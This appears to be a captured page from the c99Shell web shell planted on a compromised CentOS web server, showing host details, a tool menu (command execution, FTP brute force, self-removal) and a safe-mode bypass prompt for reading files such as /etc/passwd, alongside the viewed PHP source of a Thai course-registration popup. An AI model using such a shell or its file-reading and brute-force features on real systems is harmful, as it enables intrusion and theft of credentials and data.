!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_coAndRdTable.php (5.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<title>ตารางรายวิชาที่เปิดสอนแต่ยังไม่ลงทะเบียน</title>
<script language="JavaScript">
function ReturnValue(coId,crsCode,crsName,crsUnit,coSection,timeTable,crsCreditTotal,crsCredit1,crsCredit2,crsCdId,coCdId2) {
    window.opener.document.myform.elements["rdCoId"].value = coId;
    window.opener.document.myform.elements["crsCode"].value = crsCode;
    window.opener.document.myform.elements["crsName"].value = crsName;
    window.opener.document.myform.elements["crsUnit"].value = crsUnit;
    window.opener.document.myform.elements["rdSection"].value = coSection;
    window.opener.document.myform.elements["timeTable"].value = timeTable;
    window.opener.document.myform.elements["rdCreditAttempt"].value = crsCreditTotal;
    window.opener.document.myform.elements["rdCredit1"].value = crsCredit1;
    window.opener.document.myform.elements["rdCredit2"].value = crsCredit2;
    window.opener.document.myform.elements["rdCdId1"].value = crsCdId;
    window.opener.document.myform.elements["rdCdId2"].value = coCdId2;
    window.close();
}
</script>
</head>
<body bgcolor="#FFFFFF">
<?php echo form_open($this->config->item("rg_folder")."popup/coAndRd_popup", array("name" => "myform""id" => "myform"));?>
<table width="100%">
    <tr>
        <td colspan="6"><font face="Microsoft Sans Serif" size="2"><b>รหัสรายวิชา</b></font>
        <input type="text" name="crsCode" size="11">
        <input type="submit" name="search" value="ค้นหา">
        <input type="hidden" name="stdId" id="stdId" value="<?php echo $stdId;?>">
        <input type="hidden" name="curId" id="curId" value="<?php echo $curId;?>">
        <input type="hidden" name="acY" id="acY" value="<?php echo $acY;?>">
        <input type="hidden" name="syId" id="syId" value="<?php echo $syId;?>">
        <input type="hidden" name="tmId" id="tmId" value="<?php echo $tmId;?>"></td>
    </tr>
    <tr>
        <table class="headCol">
            <tr>
                <th class="seqCol">ลำดับที่</th>
                <th>รายวิชา</th>
                <th class="acYCol">หน่วยกิต</th>
                <th class="seqCol">กลุ่ม</th>
                <th>วัน/เวลา</th>
                <th class="seqCol">รับ/ลง</th>
            </tr>
<?php
    $num_rows 
count($rs);
    if (
$num_rows) {
        foreach (
$rs as $key => $val) {
            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
            
$row $rs[$key]->row();
?>
        <td align="center"><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row->coId;?>","<?php echo $row->crsCode;?>","<?php echo $row->crsName;?>","<?php echo $row->crsUnit;?>","<?php echo $row->coSection;?>","<?php //echo $timeTable;?>","<?php echo $row->crsCreditTotal;?>","<?php echo $row->crsCredit1;?>","<?php echo $row->crsCredit2;?>","<?php echo $row->crsCdId;?>","<?php echo $row->coCdId2;?>")'><?php echo $key 1;?></font></td>
        <td class="indent"><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row->coId;?>","<?php echo $row->crsCode;?>","<?php echo $row->crsName;?>","<?php echo $row->crsUnit;?>","<?php echo $row->coSection;?>","<?php //echo $timeTable;?>","<?php echo $row->crsCreditTotal;?>","<?php echo $row->crsCredit1;?>","<?php echo $row->crsCredit2;?>","<?php echo $row->crsCdId;?>","<?php echo $row->coCdId2;?>")'><?php echo $row->crsCode.' '.$row->crsName;?></font></td>
        <td align="center"><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row->coId;?>","<?php echo $row->crsCode;?>","<?php echo $row->crsName;?>","<?php echo $row->crsUnit;?>","<?php echo $row->coSection;?>","<?php //echo $timeTable;?>","<?php echo $row->crsCreditTotal;?>","<?php echo $row->crsCredit1;?>","<?php echo $row->crsCredit2;?>","<?php echo $row->crsCdId;?>","<?php echo $row->coCdId2;?>")'><?php echo $row->crsUnit;?></font></td>
        <td align="center"><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row->coId;?>","<?php echo $row->crsCode;?>","<?php echo $row->crsName;?>","<?php echo $row->crsUnit;?>","<?php echo $row->coSection;?>","<?php //echo $timeTable;?>","<?php echo $row->crsCreditTotal;?>","<?php echo $row->crsCredit1;?>","<?php echo $row->crsCredit2;?>","<?php echo $row->crsCdId;?>","<?php echo $row->coCdId2;?>")'><?php echo $row->coSection;?></font></td>
        <td><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row->coId;?>","<?php echo $row->crsCode;?>","<?php echo $row->crsName;?>","<?php echo $row->crsUnit;?>","<?php echo $row->coSection;?>","<?php //echo $timeTable;?>","<?php echo $row->crsCreditTotal;?>","<?php echo $row->crsCredit1;?>","<?php echo $row->crsCredit2;?>","<?php echo $row->crsCdId;?>","<?php echo $row->coCdId2;?>")'><?php //echo $timeTable;?></font></td>
        <td align="center"><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row->coId;?>","<?php echo $row->crsCode;?>","<?php echo $row->crsName;?>","<?php echo $row->crsUnit;?>","<?php echo $row->coSection;?>","<?php //echo $timeTable;?>","<?php echo $row->crsCreditTotal;?>","<?php echo $row->crsCredit1;?>","<?php echo $row->crsCredit2;?>","<?php echo $row->crsCdId;?>","<?php echo $row->coCdId2;?>")'><?php echo $row->coNumSeatOpen.'/'.$row->coNumSeatReg;?></font></td>
    </tr>
<?php
        
}
    } else {
?>
    <tr>
        <td colspan="6" align="center" bgcolor="#FFFFFF"><span class="error">** ไม่ปรากฏรายการดังกล่าวในฐานข้อมูล **</span></td>
    </tr>
<?php
    
}
?>
</table>
<table width="100%" border="0" cellspacing="1" cellpadding="1">
    <tr>
        <td align="right"><font face="Microsoft Sans Serif" size="2">รวม <?php echo $num_rows;?> รายการ</font></td>
    </tr>
</table><?php echo form_close();?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--